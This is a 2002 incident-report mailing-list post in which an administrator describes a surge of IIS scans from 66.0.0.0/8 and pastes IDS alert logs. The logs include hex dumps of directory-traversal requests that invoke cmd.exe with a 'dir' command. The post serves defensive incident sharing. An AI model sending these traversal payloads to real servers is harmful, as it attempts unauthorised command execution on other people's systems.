Increased IIS scans mainly on 66.0.0.0/8

["Richard Gilman" <Richard.Gilman () ntn com>]

Has anyone noticed an increase in scans trying old IIS redirect exploits? It doesn't appear to be RedCode or nimda 
IMHO, just various attempts to redirect and run cmd.exe?dir. In the last month we have noticed a large increase in this 
activity 94% of which originates from the 66.0.0.0/8 block (448 sources and only 31 not from 66/8). There are 4 sources 
originating from fuse.net that are particularly heavy hitters 33,000 hits out of a total of 47,000 hits. I am only 
seeing it on our 66.0.0.0/8 network so far. Looks like a new worm possibly or 448 kiddie clones? The sources all seem 
to use the same set of cmd.exe attempts as in the obfuscated logs below.
 
#(5 - 53409) [2002-07-17 10:40:25]  WEB-IIS cmd.exe access
IPv4: 66.y.y.35 -> 66.x.x.43
hlen=5 TOS=0 dlen=136 ID=45497 flags=0 offset=0 TTL=112 chksum=11558
TCP:  port=1815 -> dport: 80  flags=***AP*** seq=2441649372
ack=441678925 off=5 res=0 win=16560 urp=0 chksum=12602
Payload:  length = 94
 
000 : 47 45 54 20 2F 73 63 72 69 70 74 73 2F 2E 2E 25   GET /scripts/..%
010 : 32 66 2E 2E 2F 77 69 6E 6E 74 2F 73 79 73 74 65   2f../winnt/syste
020 : 6D 33 32 2F 63 6D 64 2E 65 78 65 3F 2F 63 2B 64   m32/cmd.exe?/c+d
030 : 69 72 20 72 20 48 54 54 50 2F 31 2E 30 0D 0A 48   ir r HTTP/1.0..H
040 : 6F 73 74 3A 20 77 77 77 0D 0A 43 6F 6E 6E 6E 65   ost: www..Connne
050 : 63 74 69 6F 6E 3A 20 63 6C 6F 73 65 0D 0A         ction: close..
------------------------------------------------------------------------------
 
#(5 - 53408) [2002-07-17 10:40:25]  WEB-IIS cmd.exe access
IPv4: 66.y.y.35 -> 66.x.x.43
hlen=5 TOS=0 dlen=140 ID=45378 flags=0 offset=0 TTL=112 chksum=11673
TCP:  port=1626 -> dport: 80  flags=***AP*** seq=2431763146
ack=975791510 off=5 res=0 win=16560 urp=0 chksum=42327
Payload:  length = 94
 
000 : 47 45 54 20 2F 73 63 72 69 70 74 73 2F 2E 2E 25   GET /scripts/..%
010 : 35 63 2E 2E 2F 77 69 6E 6E 74 2F 73 79 73 74 65   5c../winnt/syste
020 : 6D 33 32 2F 63 6D 64 2E 65 78 65 3F 2F 63 2B 64   m32/cmd.exe?/c+d
030 : 69 72 20 63 2B 64 69 72 20 48 54 54 50 2F 31 2E   ir c+dir HTTP/1.
040 : 30 0D 0A 48 6F 73 74 3A 20 77 77 77 0D 0A 43 6F   0..Host: www..Co
050 : 6E 6E 6E 65 63 74 69 6F 6E 3A 20 63 6C 6F         nnnection: clo
------------------------------------------------------------------------------
 
#(5 - 53407) [2002-07-17 10:40:21]  WEB-IIS cmd.exe access
IPv4: 66.y.y.35 -> 66.x.x.43
hlen=5 TOS=0 dlen=136 ID=44586 flags=0 offset=0 TTL=112 chksum=12469
TCP:  port=1429 -> dport: 80  flags=***AP*** seq=2421845072
ack=4293161072 off=5 res=0 win=16560 urp=0 chksum=38086
Payload:  length = 94
 
000 : 47 45 54 20 2F 73 63 72 69 70 74 73 2F 2E 2E 25   GET /scripts/..%
010 : 35 63 2E 2E 2F 77 69 6E 6E 74 2F 73 79 73 74 65   5c../winnt/syste
020 : 6D 33 32 2F 63 6D 64 2E 65 78 65 3F 2F 63 2B 64   m32/cmd.exe?/c+d
030 : 69 72 20 72 20 48 54 54 50 2F 31 2E 30 0D 0A 48   ir r HTTP/1.0..H
040 : 6F 73 74 3A 20 77 77 77 0D 0A 43 6F 6E 6E 6E 65   ost: www..Connne
050 : 63 74 69 6F 6E 3A 20 63 6C 6F 73 65 0D 0A         ction: close..
------------------------------------------------------------------------------
 
#(5 - 53406) [2002-07-17 10:40:19]  WEB-IIS cmd.exe access
IPv4: 66.y.y.35 -> 66.x.x.43
hlen=5 TOS=0 dlen=120 ID=44322 flags=0 offset=0 TTL=112 chksum=12749
TCP:  port=3898 -> dport: 80  flags=***AP**F seq=2161495310
ack=1433176482 off=5 res=0 win=16560 urp=0 chksum=62138
Payload:  length = 80
 
000 : 47 45 54 20 2F 64 2F 77 69 6E 6E 74 2F 73 79 73   GET /d/winnt/sys
010 : 74 65 6D 33 32 2F 63 6D 64 2E 65 78 65 3F 2F 63   tem32/cmd.exe?/c
020 : 2B 64 69 72 20 48 54 54 50 2F 31 2E 30 0D 0A 48   +dir HTTP/1.0..H
030 : 6F 73 74 3A 20 77 77 77 0D 0A 43 6F 6E 6E 6E 65   ost: www..Connne
040 : 63 74 69 6F 6E 3A 20 63 6C 6F 73 65 0D 0A 0D 0A   ction: close....
------------------------------------------------------------------------------
 
#(5 - 53405) [2002-07-17 10:40:17]  WEB-IIS cmd.exe access
IPv4: 66.y.y.35 -> 66.x.x.43
hlen=5 TOS=0 dlen=138 ID=43768 flags=0 offset=0 TTL=112 chksum=13285
TCP:  port=1395 -> dport: 80  flags=***AP*** seq=2420235203
ack=934140878 off=5 res=0 win=16560 urp=0 chksum=19568
Payload:  length = 94
 
000 : 47 45 54 20 2F 73 63 72 69 70 74 73 2F 2E 2E 25   GET /scripts/..%
010 : 35 63 2E 2E 2F 77 69 6E 6E 74 2F 73 79 73 74 65   5c../winnt/syste
020 : 6D 33 32 2F 63 6D 64 2E 65 78 65 3F 2F 63 2B 64   m32/cmd.exe?/c+d
030 : 69 72 20 64 69 72 20 48 54 54 50 2F 31 2E 30 0D   ir dir HTTP/1.0.
040 : 0A 48 6F 73 74 3A 20 77 77 77 0D 0A 43 6F 6E 6E   .Host: www..Conn
050 : 6E 65 63 74 69 6F 6E 3A 20 63 6C 6F 73 65         nection: close
------------------------------------------------------------------------------
 
#(5 - 53404) [2002-07-17 10:40:16]  WEB-IIS cmd.exe access
IPv4: 66.y.y.35 -> 66.x.x.43
hlen=5 TOS=0 dlen=137 ID=43638 flags=0 offset=0 TTL=112 chksum=13416
TCP:  port=1366 -> dport: 80  flags=***AP*** seq=2418722397
ack=4180274008 off=5 res=0 win=16560 urp=0 chksum=17941
Payload:  length = 93
 
000 : 47 45 54 20 2F 73 63 72 69 70 74 73 2F 2E 2E 25   GET /scripts/..%
010 : 63 2E 2E 2F 77 69 6E 6E 74 2F 73 79 73 74 65 6D   c../winnt/system
020 : 33 32 2F 63 6D 64 2E 65 78 65 3F 2F 63 2B 64 69   32/cmd.exe?/c+di
030 : 72 20 64 69 72 20 48 54 54 50 2F 31 2E 30 0D 0A   r dir HTTP/1.0..
040 : 48 6F 73 74 3A 20 77 77 77 0D 0A 43 6F 6E 6E 6E   Host: www..Connn
050 : 65 63 74 69 6F 6E 3A 20 63 6C 6F 73 65            ection: close
------------------------------------------------------------------------------
 
#(5 - 53403) [2002-07-17 10:40:16]  WEB-IIS cmd.exe access
IPv4: 66.y.y.35 -> 66.x.x.43
hlen=5 TOS=0 dlen=137 ID=43512 flags=0 offset=0 TTL=112 chksum=13542
TCP:  port=1162 -> dport: 80  flags=***AP*** seq=2408265220
ack=4037057826 off=5 res=0 win=16560 urp=0 chksum=11122
Payload:  length = 93
 
000 : 47 45 54 20 2F 73 63 72 69 70 74 73 2F 2E 2E 25   GET /scripts/..%
010 : 63 2E 2E 2F 77 69 6E 6E 74 2F 73 79 73 74 65 6D   c../winnt/system
020 : 33 32 2F 63 6D 64 2E 65 78 65 3F 2F 63 2B 64 69   32/cmd.exe?/c+di
030 : 72 20 64 69 72 20 48 54 54 50 2F 31 2E 30 0D 0A   r dir HTTP/1.0..
040 : 48 6F 73 74 3A 20 77 77 77 0D 0A 43 6F 6E 6E 6E   Host: www..Connn
050 : 65 63 74 69 6F 6E 3A 20 63 6C 6F 73 65            ection: close
 
Rich

----------------------------------------------------------------------------
This list is provided by the SecurityFocus ARIS analyzer service.
For more information on this free incident handling, management
and tracking system please see: http://aris.securityfocus.com